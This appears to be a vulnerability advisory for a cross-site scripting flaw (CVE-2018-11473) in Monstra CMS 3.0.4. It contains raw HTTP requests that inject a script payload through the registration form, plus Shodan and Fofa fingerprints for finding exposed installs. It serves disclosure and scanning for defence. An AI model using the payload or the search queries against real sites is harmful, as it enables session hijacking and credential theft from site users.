| Title | Monstra CMS 3.0.4 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01086 |
| CVE ID | CVE-2018-11473 |
| CWE ID | CWE-79 |
| Shodan Query | http.favicon.hash:419828698 |
| Fofa Query | icon_hash=419828698 |
| Tags | cve cve2018 xss mostra mostracms cms monstra vuln |
Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the registration form (i.e., the login parameter to users/registration). An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /users/registration HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.12
Connection: close
Accept-Encoding: gzip
POST /users/registration HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
Connection: close
Content-Length: 145
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
csrf=wvurov&login=test&password=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email=teest%40gmail.com&answer=test®ister=Register
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-11473.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-11473.pcap
N/AN/A